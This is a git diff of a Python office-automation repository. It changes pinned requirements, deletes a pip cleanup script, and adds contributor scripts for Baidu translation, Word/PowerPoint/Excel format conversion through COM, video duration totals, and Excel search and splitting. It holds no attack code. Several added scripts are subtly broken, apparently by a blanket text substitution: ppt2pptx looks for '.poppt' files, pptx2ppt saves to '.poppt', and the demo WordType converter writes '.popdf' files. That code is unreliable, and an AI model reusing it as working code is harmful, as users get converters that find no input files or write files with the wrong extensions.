+numpy==1.25.2
+openai==0.27.8
+opencv-python==4.8.0.76
+openpyxl==3.1.2
+packaging==23.1
+pandas==2.0.3
+pdf2docx==0.5.6
+pikepdf==8.2.3
+Pillow==10.0.0
+poai==0.0.8
+poexcel==0.0.15
+pofile==0.1.0
+poimage==0.0.12
+popdf==0.0.10
+poppt==0.1.1
+poprogress==0.0.2
+porobot==0.0.3
+povideo==0.0.5
+poword==0.0.12
+proglog==0.1.10
+py-mini-racer==0.6.0
+pydatav @ file:///D:/workplace/code/github/pydatav
+Pygments==2.16.1
+PyMuPDF==1.22.5
+PyOfficeRobot==0.1.14
+pyparsing==3.0.9
+PyPDF2==3.0.1
+pypinyin==0.49.0
+pypng==0.20220715.0
+PySide6==6.5.2
+PySide6-Addons==6.5.2
+PySide6-Essentials==6.5.2
python-dateutil==2.8.2
python-docx==0.8.11
-python-office @ file:///D:/workplace/code/BaiduNetdiskWorkspace/personal/linux/workplace/pro/git/gitee/python-office
+python-office==0.3.20
python-pptx==0.6.21
-pytz==2022.1
-PyWavelets==1.3.0
-pywin32==303
-pywin32-ctypes==0.2.0
-PyYAML==6.0
-queuelib==1.6.2
-readme-renderer==35.0
-reportlab==3.6.9
-requests==2.27.1
-requests-file==1.5.1
-requests-toolbelt==0.9.1
-rfc3986==2.0.0
-rich==12.2.0
-scikit-image==0.19.2
-scipy==1.7.3
-Scrapy==2.6.1
-service-identity==21.1.0
+pytz==2023.3
+pywifi==1.1.12
+pywin32==306
+pywinauto==0.6.8
+qrcode==7.4.2
+reportlab==4.0.4
+requests==2.31.0
+rich==13.5.2
+schedule==1.2.0
+search4file==0.1.15
+shiboken6==6.5.2
six==1.16.0
-sqlparse==0.4.2
-tifffile==2021.11.2
-tldextract==3.2.1
-torch==1.11.0
-torchvision==0.12.0
-twine==4.0.0
-Twisted==22.4.0
-twisted-iocpsupport==1.0.2
-typing_extensions==4.2.0
-urllib3==1.26.9
-w3lib==1.22.0
+soupsieve==2.4.1
+speedtest-cli==2.1.3
+tabulate==0.9.0
+tencentcloud-sdk-python==3.0.954
+termcolor==2.3.0
+tqdm==4.66.0
+translate==3.6.1
+typing_extensions==4.7.1
+tzdata==2023.3
+uiautomation==2.0.18
+urllib3==2.0.4
webencodings==0.5.1
-Werkzeug==2.1.1
-wordcloud==1.8.1
-xlrd==2.0.1
-XlsxWriter==3.0.3
-xlutils==2.0.0
-xlwings==0.27.6
+Werkzeug==2.3.6
+wftools==0.0.6
+wordcloud==1.9.2
+xlrd==1.2.0
+XlsxWriter==3.1.2
+xlwings==0.30.10
xlwt==1.3.0
-zipp==3.8.0
-zope.interface==5.4.0
+yarl==1.9.2
+you-get==0.4.1650
diff --git a/clean.sh b/clean.sh
deleted file mode 100644
index 4c385cb..0000000
--- a/clean.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-pip freeze > allpackages.txt
-pip uninstall -r allpackages.txt -y
-pip install --upgrade python-office
-,python-office
\ No newline at end of file
diff --git a/contributors/CatchDr/Baidu_Text_transAPI.py b/contributors/CatchDr/Baidu_Text_transAPI.py
new file mode 100644
index 0000000..b6aa0c8
--- /dev/null
+++ b/contributors/CatchDr/Baidu_Text_transAPI.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: Baidu_Text_transApi.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:45
+# Description: 调用百度翻译接口进行翻译
+#############################################
+import requests
+import random
+from hashlib import md5
+def make_md5(s, encoding='utf-8'):
+ return md5(s.encode(encoding)).hexdigest()
+def baidu_trans(query,from_lang,to_lang,appid,appkey):
+ # Set your own appid/appkey.
+
+
+ # For list of language codes, please refer to `https://api.fanyi.baidu.com/doc/21`
+ # from_lang = 'en'
+ # to_lang = 'zh'
+
+ endpoint = 'http://api.fanyi.baidu.com'
+ path = '/api/trans/vip/translate'
+ url = endpoint + path
+
+ # query = 'Hello World! This is 1st paragraph.\nThis is 2nd paragraph.'
+
+ # Generate salt and sign
+
+ salt = random.randint(32768, 65536)
+ sign = make_md5(appid + query + str(salt) + appkey)
+
+ # Build request
+ headers = {'Content-Type': 'application/x-www-form-urlencoded'}
+ payload = {'appid': appid, 'q': query, 'from': from_lang, 'to': to_lang, 'salt': salt, 'sign': sign}
+
+ # Send request
+ r = requests.post(url, params=payload, headers=headers)
+ result = r.json()
+ if len(result)==3:
+ return result['trans_result'][0]['dst']
+ else:
+ return result
+
+# if __name__ == '__main__':
+# # 百度官方通用翻译api
+# # 可参考这些链接申请 https://superdoctranslator.com/appidkey
+# # https://jingyan.baidu.com/article/3f16e00305bb552591c10304.html
+# appid = 'xxxxxxxxxxxxx'
+# appkey = 'xxxxxxxxxxxx'
+# res=baidu_trans("good","en","zh",appid,appkey)
+# print(res)
\ No newline at end of file
diff --git a/contributors/CatchDr/doc2docx.py b/contributors/CatchDr/doc2docx.py
new file mode 100644
index 0000000..586518b
--- /dev/null
+++ b/contributors/CatchDr/doc2docx.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: doc2docx.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 13:41:34
+# Description: doc转docx
+#############################################
+
+from win32com.client import constants, gencache
+import win32com
+import os # 目录的操作
+
+
+def createdocx(wordPath, docxPath):
+ # word = gencache.EnsureDispatch('Word.Application')
+ # doc = word.Documents.Open(wordPath, ReadOnly=1)
+ # # 转换方法
+ # doc.ExportAsFixedFormat(docxPath, constants.wdExportFormatPDF)
+ # word.Quit()
+
+ word = win32com.client.DispatchEx('Word.Application')
+ doc = word.Documents.Open(wordPath)
+ doc.SaveAs(docxPath, FileFormat=12)
+ doc.Close()
+ word.Quit()
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换doc到docx
+def doc2docx(path, docSuffix=".doc"):
+ wordFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ wordFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docSuffix):
+ wordFiles.append(path + file)
+ print(wordFiles)
+ for file in wordFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ docxPath = filepath[:index] + '.docx'
+ print(docxPath)
+ createdocx(filepath, docxPath)
+
diff --git a/contributors/CatchDr/docx2doc.py b/contributors/CatchDr/docx2doc.py
new file mode 100644
index 0000000..b31d3bd
--- /dev/null
+++ b/contributors/CatchDr/docx2doc.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: docx2doc.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 13:41:34
+# Description: docx转doc
+#############################################
+
+from win32com.client import constants, gencache
+import win32com
+import os # 目录的操作
+
+
+
+def createdoc(wordPath, docxPath):
+ # word = gencache.EnsureDispatch('Word.Application')
+ # doc = word.Documents.Open(wordPath, ReadOnly=1)
+ # # 转换方法
+ # doc.ExportAsFixedFormat(docxPath, constants.wdExportFormatPDF)
+ # word.Quit()
+
+ word = win32com.client.DispatchEx('Word.Application')
+ doc = word.Documents.Open(wordPath)
+ doc.SaveAs(docxPath, FileFormat=11)
+ doc.Close()
+ word.Quit()
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换docx到doc
+def docx2doc(path, docxSuffix=".docx"):
+ wordFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ wordFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docxSuffix):
+ wordFiles.append(path + file)
+ print(wordFiles)
+ for file in wordFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ docPath = filepath[:index] + '.doc'
+ print(docPath)
+ createdoc(filepath, docPath)
\ No newline at end of file
diff --git a/contributors/CatchDr/ppt2pptx.py b/contributors/CatchDr/ppt2pptx.py
new file mode 100644
index 0000000..93b26ce
--- /dev/null
+++ b/contributors/CatchDr/ppt2pptx.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: ppt2pptx.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:11
+# Description: ppt转pptx
+#############################################
+
+from win32com.client import constants
+import win32com
+import os # 目录的操作
+
+def createpptx(pptPath, pptxPath):
+ powerpoint = win32com.client.Dispatch('PowerPoint.Application')
+ win32com.client.gencache.EnsureDispatch('PowerPoint.Application')
+ # powerpoint.Visible = 1
+ ppt = powerpoint.Presentations.Open(pptPath)
+ ppt.SaveAs(pptxPath)
+ ppt.Close()
+ powerpoint.Quit()
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换ppt到pptx
+def ppt2pptx(path, docxSuffix=".poppt"):
+ pptFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ pptFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docxSuffix):
+ pptFiles.append(path + file)
+ print(pptFiles)
+ for file in pptFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ pptxPath = filepath[:index] + '.pptx'
+ print(pptxPath)
+ createpptx(filepath, pptxPath)
\ No newline at end of file
diff --git a/contributors/CatchDr/pptx2ppt.py b/contributors/CatchDr/pptx2ppt.py
new file mode 100644
index 0000000..c0cd8da
--- /dev/null
+++ b/contributors/CatchDr/pptx2ppt.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: pptx2ppt.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:15
+# Description: pptx转ppt
+#############################################
+
+from win32com.client import constants
+import win32com
+import os # 目录的操作
+
+def createppt(pptxPath, pptPath):
+ powerpoint = win32com.client.Dispatch('PowerPoint.Application')
+ win32com.client.gencache.EnsureDispatch('PowerPoint.Application')
+ # powerpoint.Visible = 1
+ ppt = powerpoint.Presentations.Open(pptxPath)
+ ppt.SaveAs(pptPath)
+ ppt.Close()
+ powerpoint.Quit()
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换pptx到ppt
+def pptx2ppt(path, docxSuffix=".pptx"):
+ pptxFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ pptxFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docxSuffix):
+ pptxFiles.append(path + file)
+ print(pptxFiles)
+ for file in pptxFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ pptPath = filepath[:index] + '.poppt'
+ print(pptPath)
+ createppt(filepath, pptPath)
\ No newline at end of file
diff --git a/contributors/CatchDr/video_time_statistics.py b/contributors/CatchDr/video_time_statistics.py
new file mode 100644
index 0000000..10327b0
--- /dev/null
+++ b/contributors/CatchDr/video_time_statistics.py
@@ -0,0 +1,32 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: video_time_statistics.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:58
+# Description: 统计视频时长
+#############################################
+import os
+import datetime
+from moviepy.editor import VideoFileClip
+from tqdm import tqdm
+def video_time_statistics(path):
+ filelist = []
+ for a, b, c in os.walk(path):
+ for name in c:
+ fname = os.path.join(a, name)
+ if fname.endswith(".mp4"):
+ filelist.append(fname)
+ ftime = 0.0
+ for item in tqdm(filelist):
+ clip = VideoFileClip(item)
+ ftime += clip.duration
+ print("%d seconds: " % ftime, str(datetime.timedelta(seconds=ftime)))
+
+
+# if __name__ == "__main__":
+#
+# path=r"D:\BaiduNetdiskDownload\07-阶段七 \第三章"
+# video_time_statistics(path)
\ No newline at end of file
diff --git a/contributors/CatchDr/xls2xlsx.py b/contributors/CatchDr/xls2xlsx.py
new file mode 100644
index 0000000..a487637
--- /dev/null
+++ b/contributors/CatchDr/xls2xlsx.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: xls2xlsx.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:24
+# Description: xls转xlsx
+#############################################
+
+from win32com.client import constants, gencache
+import win32com
+import os # 目录的操作
+
+
+
+def createxlsx(xlsPath, xlsxPath):
+
+ excel = win32com.client.DispatchEx('Excel.Application')
+ wb = excel.Workbooks.Open(xlsPath)
+
+ wb.SaveAs(xlsxPath, FileFormat=51) # FileFormat = 51 is for .xlsx extension
+ wb.Close() # FileFormat = 56 is for .xls extension
+ excel.Application.Quit()
+
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换xls到xlsx
+def xls2xlsx(path, docxSuffix=".xls"):
+ excelFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ excelFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docxSuffix):
+ excelFiles.append(path + file)
+ print(excelFiles)
+ for file in excelFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ xlsPath = filepath[:index] + '.xlsx'
+ print(xlsPath)
+ createxlsx(filepath, xlsPath)
\ No newline at end of file
diff --git a/contributors/CatchDr/xlsx2xls.py b/contributors/CatchDr/xlsx2xls.py
new file mode 100644
index 0000000..0632141
--- /dev/null
+++ b/contributors/CatchDr/xlsx2xls.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+#############################################
+# File Name: xlsx2xls.py
+# Author: 刘运超
+# Mail: chaodreaming@gmail.com
+# Created Time: 2022-5-23 14:30
+# Description: xlsx转xls
+#############################################
+
+from win32com.client import constants, gencache
+import win32com
+import os # 目录的操作
+
+def createxls(xlsxPath, xlsPath):
+
+ excel = win32com.client.DispatchEx('Excel.Application')
+ wb = excel.Workbooks.Open(xlsxPath)
+
+ wb.SaveAs(xlsPath, FileFormat=56) # FileFormat = 51 is for .xlsx extension
+ wb.Close() # FileFormat = 56 is for .xls extension
+ excel.Application.Quit()
+
+
+# 1、文件的批量转换
+# 自己指定路径,
+# 转换xlsx到xls
+def xlsx2xls(path, docxSuffix=".xlsx"):
+ excelFiles = []
+ # 如果不存在,则不做处理
+ if not os.path.exists(path):
+ print("path does not exist path = " + path)
+ return
+ # 判断是否是文件
+ elif os.path.isfile(path):
+ print("path file type is file " + path)
+ excelFiles.append(path)
+ # 如果是目录,则遍历目录下面的文件
+ elif os.path.isdir(path):
+ print(os.listdir(path))
+ # 填充路径,补充完整路径
+ if not path.endswith("/") or not path.endswith("\\"):
+ path = path + "/"
+ for file in os.listdir(path):
+ if file.endswith(docxSuffix):
+ excelFiles.append(path + file)
+ print(excelFiles)
+ for file in excelFiles:
+ filepath = os.path.abspath(file)
+ index = filepath.rindex('.')
+ xlsxPath = filepath[:index] + '.xls'
+ print(xlsxPath)
+ createxls(filepath, xlsxPath)
\ No newline at end of file
diff --git a/contributors/bulabean/SEdemo.xlsx b/contributors/bulabean/SEdemo.xlsx
new file mode 100644
index 0000000..7e6d6e3
Binary files /dev/null and b/contributors/bulabean/SEdemo.xlsx differ
diff --git a/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx
new file mode 100644
index 0000000..72a6744
Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx differ
diff --git a/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx
new file mode 100644
index 0000000..7a6a049
Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx differ
diff --git a/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx
new file mode 100644
index 0000000..4311251
Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx differ
diff --git a/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx
new file mode 100644
index 0000000..e5717e8
Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx differ
diff --git a/contributors/bulabean/SearchExcel.py b/contributors/bulabean/SearchExcel.py
new file mode 100644
index 0000000..998b756
--- /dev/null
+++ b/contributors/bulabean/SearchExcel.py
@@ -0,0 +1,138 @@
+import os
+import openpyxl
+import xlrd
+import datetime
+import time
+
+
+def change_datatype(row_data: list):
+ """
+ excel单元格的内容类型检测和转换
+ 参数:
+ row_data:行数据,列表格式
+ """
+ result_data = []
+ for rd in row_data:
+ if type(rd) == datetime.datetime:
+ t = rd.strftime("%Y-%m-%d %H:%M:%S")
+ elif type(rd) == str:
+ t = rd
+ elif type(rd) == int:
+ t = str(rd)
+ elif type(rd) == float:
+ t = str(rd)
+ elif type(rd) is None:
+ t = ''
+ else:
+ t = str(rd)
+ result_data.append(t)
+ return result_data
+
+
+def find_key(search_key: str, row_content: str):
+ """
+ 检测关键词和内容
+ 参数:
+ search_key:关键词
+ row_content:行内容
+ """
+ if search_key in row_content:
+ return True
+ else:
+ return False
+
+
+def process_xls(path, file):
+ """
+ 读取xls后缀的excel文件
+ 参数:
+ path:文件所在路径
+ file:文件名
+ """
+ filepath = os.path.join(path, file)
+ try:
+ rb = xlrd.open_workbook(filepath, formatting_info=True)
+ except:
+ return False
+ sheet_names = rb.sheet_names()
+ space_line = 0
+ for ws_name in sheet_names:
+ ws = rb.sheet_by_name(ws_name)
+ rows = ws.nrows
+ cols = ws.ncols
+ for r in range(rows):
+ values = [ws.cell(r, c).value for c in range(cols)]
+ values = change_datatype(values)
+ values = " ".join(values)
+ if values:
+ yield filepath, ws_name, r, values # 文件路径,工作表名,行数,行内容
+ else:
+ if space_line < 10:
+ space_line += 1
+ else:
+ break
+
+
+def process_xlsx(path, file):
+ """
+ 读取xlsx后缀的excel文件
+ 参数:
+ path:文件所在路径
+ file:文件名
+ """
+ filepath = os.path.join(path, file)
+ try:
+ wb = openpyxl.load_workbook(filepath, read_only=True, data_only=True)
+ except:
+ return False
+ worksheets_name = wb.sheetnames
+ space_line = 0
+ for ws_name in worksheets_name:
+ ws = wb[ws_name]
+ for index, row in enumerate(ws.rows):
+ values = [r.value for r in row if r.value != None]
+ values = change_datatype(values)
+ values = " ".join(values)
+ if values:
+ yield filepath, ws_name, index, values # 文件路径,工作表名,行数,行内容
+ else:
+ if space_line < 10:
+ space_line += 1
+ else:
+ break
+
+
+def find_excel_data(search_key: str, target_dir: str):
+ """
+ 检索指定目录下的excel文件和过滤
+ 参数:
+ search_key:检索的关键词
+ target_dir:目标文件夹
+ """
+ for path, dirs, files in os.walk(target_dir):
+ files = [file for file in files if not file.startswith('~$')] # 过滤掉正打开的excel文件
+ xls_files = [file for file in files if file.endswith('.xls')] # 取出所有的xls后缀文件
+ xlsx_files = [file for file in files if file.endswith('.xlsx')] # 取出所有的xlsx后缀文件
+ for xls in xls_files:
+ for data in process_xls(path, xls):
+ filepath, ws_name, index, values = data
+ status = find_key(search_key, values)
+ if status:
+ yield filepath, ws_name, index, values
+ for xlsx in xlsx_files:
+ for data in process_xlsx(path, xlsx):
+ filepath, ws_name, index, values = data
+ status = find_key(search_key, values)
+ if status:
+ yield filepath, ws_name, index, values # 输出内容:路径/文件名、工作表名、行数、行内容
+
+
+if __name__ == '__main__':
+
+ time1 = time.time()
+ search_key = '刘家站垦殖场'
+ target_dir = './'
+ for data in find_excel_data(search_key, target_dir):
+ print(list(data))
+ time2 = time.time()
+ print("\n程序运行结束,停止运行。耗时:{}秒".format(round(time2 - time1, 2)))
diff --git a/contributors/bulabean/SplitExcel.py b/contributors/bulabean/SplitExcel.py
new file mode 100644
index 0000000..717dfc4
--- /dev/null
+++ b/contributors/bulabean/SplitExcel.py
@@ -0,0 +1,93 @@
+import os
+import xlrd, xlwt
+import openpyxl
+import datetime
+
+
+#
+
+def generate_xls(filepath: str, worksheet_data: dict):
+ datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')
+ new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str))
+ new_workbook = xlwt.Workbook(encoding='utf-8')
+ for worksheet_name, row_data_list in worksheet_data.items():
+ new_worksheet = new_workbook.add_sheet(worksheet_name)
+ for row_index, row_data in enumerate(row_data_list):
+ for column_index, data in enumerate(row_data):
+ new_worksheet.write(row_index, column_index, data)
+ new_workbook.save(new_filepath)
+ return new_filepath
+
+
+def process_xls(filepath, column: int, worksheet_name: str = None):
+ try:
+ workbook = xlrd.open_workbook(filepath, formatting_info=True)
+ except:
+ return "文件读取异常:{}".format(filepath)
+ if worksheet_name:
+ worksheet = workbook.sheet_by_name(worksheet_name)
+ else:
+ worksheet = workbook.sheet_by_index(0)
+ rows = worksheet.nrows
+ cols = worksheet.ncols
+ split_data_dict = {}
+ for r in range(rows):
+ row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)]
+ temp_data = row_data[column - 1]
+ temp_data_list = split_data_dict.get(temp_data, [])
+ temp_data_list.append(row_data)
+ split_data_dict[temp_data] = temp_data_list
+ new_filepath = generate_xls(filepath, split_data_dict)
+ return "数据保存在新文件中,文件名:{}".format(new_filepath)
+
+
+def generate_xlsx(filepath: str, worksheet_data: dict):
+ datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')
+ new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str))
+ new_workbook = openpyxl.Workbook()
+ for worksheet_name, row_data_list in worksheet_data.items():
+ new_worksheet = new_workbook.create_sheet(worksheet_name)
+ for row_data in row_data_list:
+ new_worksheet.append(row_data)
+ new_workbook.save(new_filepath)
+ return new_filepath
+
+
+def process_xlsx(filepath: str, column: int, worksheet_name: str = None):
+ try:
+ workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True)
+ except:
+ return "文件读取异常:{}".format(filepath)
+ if worksheet_name:
+ worksheet = workbook.get_sheet_by_name(worksheet_name)
+ else:
+ worksheet = workbook.active
+ if worksheet.max_column < column:
+ return "最大列数是{},取不到第{}列".format(worksheet.max_column, column)
+
+ split_data_dict = {}
+ for row in worksheet.rows:
+ row_data = [cell.value if cell.value else ' ' for cell in row]
+ temp_data = row_data[column - 1]
+ temp_data_list = split_data_dict.get(temp_data, [])
+ temp_data_list.append(row_data)
+ split_data_dict[temp_data] = temp_data_list
+ new_filepath = generate_xlsx(filepath, split_data_dict)
+ return "数据保存在新文件中,文件名:{}".format(new_filepath)
+
+
+def split_excel(filepath: str, column: int, worksheet_name: str = None):
+ if filepath.endswith('.xlsx'):
+ result = process_xlsx(filepath, column, worksheet_name)
+ elif filepath.endswith('.xls'):
+ result = process_xls(filepath, column, worksheet_name)
+ else:
+ return "文件格式不对,不进行处理"
+ return result
+
+
+if __name__ == "__main__":
+ filename = 'sedemo.xls'
+ # filename = 'SEdemo.xlsx'
+ result = split_excel(filename, 6) # 处理文件,表格的第六列,worksheet_name指定工作表,不指定则读取文件默认工作表
+ print(result)
diff --git a/contributors/bulabean/sedemo.xls b/contributors/bulabean/sedemo.xls
new file mode 100644
index 0000000..9b0349e
Binary files /dev/null and b/contributors/bulabean/sedemo.xls differ
diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls
new file mode 100644
index 0000000..7234001
Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls differ
diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls
new file mode 100644
index 0000000..cabc6f0
Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls differ
diff --git a/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls b/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls
new file mode 100644
index 0000000..407d984
Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls differ
diff --git a/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls b/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls
new file mode 100644
index 0000000..bb62069
Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls differ
diff --git a/contributors/demo/WordType.py b/contributors/demo/WordType.py
new file mode 100644
index 0000000..2feaa2c
--- /dev/null
+++ b/contributors/demo/WordType.py
@@ -0,0 +1,71 @@
+import os
+from win32com import client
+from win32com.client import constants
+
+
+# requirements
+# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32
+
+class MainWord():
+ def __init__(self):
+ self.doc = ".doc"
+ self.docx = ".docx"
+ self.pdf = ".popdf"
+ # 打开word应用程序
+ self.word = client.Dispatch("Word.Application")
+
+
+ def file2pdf(self, path):
+ # 保存待转换的word文件
+ word_files = []
+
+ # 遍历path下所有的docx, doc文件,加入到word_files中
+ for dir_path, _, files in os.walk(path):
+ for f in files:
+ if f.endswith(self.doc) or f.endswith(self.docx):
+ word_files.append(os.path.join(dir_path, f))
+
+ # 不存在有效的文件
+ if len(word_files) == 0:
+ print("不存在有效的word文件")
+ return
+
+ # 保存待删除的中间文件
+ remove_files = []
+
+ for file in word_files:
+ # 源文件
+ file_path = os.path.abspath(file)
+ # 目标文件
+ pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf)
+
+ # 如果是doc文件,转换为docx文件
+ if file_path.endswith(self.doc):
+ doc = self.word.Documents.Open(file_path) # 打开word文件
+ doc.SaveAs("{}x".format(file_path), 12) # 另存为后缀为".docx"的文件,其中参数12或16指docx文件
+ doc.Close() # 关闭原来word文件
+ file_path = file_path.split(".")[0] + self.docx
+ remove_files.append(file_path)
+ self.createpdf(file_path, pdf_path)
+ continue
+ self.createpdf(file_path, pdf_path)
+ self.word.Quit()
+ for f in remove_files:
+ os.remove(f)
+
+ def createpdf(self, word_path, pdf_path):
+ print(word_path)
+ try:
+ doc = self.word.Documents.Open(word_path, ReadOnly=1)
+ doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF,
+ Item=constants.wdExportDocumentWithMarkup,
+ CreateBookmarks=constants.wdExportCreateHeadingBookmarks)
+ doc.Close()
+ except:
+ print(f"文档{word_path}转换失败")
+ finally:
+ pass
+
+
+m = MainWord()
+m.file2pdf(r"C:\Users\PHL\Desktop\测试文档")
diff --git a/contributors/lzl/WordType.py b/contributors/lzl/WordType.py
new file mode 100644
index 0000000..cc6481c
--- /dev/null
+++ b/contributors/lzl/WordType.py
@@ -0,0 +1,71 @@
+import os
+from win32com import client
+from win32com.client import constants
+
+
+# requirements
+# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32
+
+class MainWord():
+ def __init__(self):
+ self.doc = ".doc"
+ self.docx = ".docx"
+ self.pdf = ".pdf"
+ # Open Word application
+ self.word = client.Dispatch("Word.Application")
+
+
+ def file2pdf(self, path):
+ # Save Word files to be converted
+ word_files = []
+
+ # Traverse all docx, doc files under the path and add them to word_files
+ for dir_path, _, files in os.walk(path):
+ for f in files:
+ if f.endswith(self.doc) or f.endswith(self.docx):
+ word_files.append(os.path.join(dir_path, f))
+
+ # No valid files exist
+ if len(word_files) == 0:
+ print("No valid Word files found")
+ return
+
+ # Save intermediate files to be deleted
+ remove_files = []
+
+ for file in word_files:
+ # Source file
+ file_path = os.path.abspath(file)
+ # Target file
+ pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf)
+
+ # If it is a doc file, convert it to a docx file
+ if file_path.endswith(self.doc):
+ doc = self.word.Documents.Open(file_path) # Open Word file
+ doc.SaveAs("{}x".format(file_path), 12) # Save as a file with the suffix ".docx", where parameter 12 or 16 refers to a docx file
+ doc.Close() # Close the original Word file
+ file_path = file_path.split(".")[0] + self.docx
+ remove_files.append(file_path)
+ self.createpdf(file_path, pdf_path)
+ continue
+ self.createpdf(file_path, pdf_path)
+ self.word.Quit()
+ for f in remove_files:
+ os.remove(f)
+
+ def createpdf(self, word_path, pdf_path):
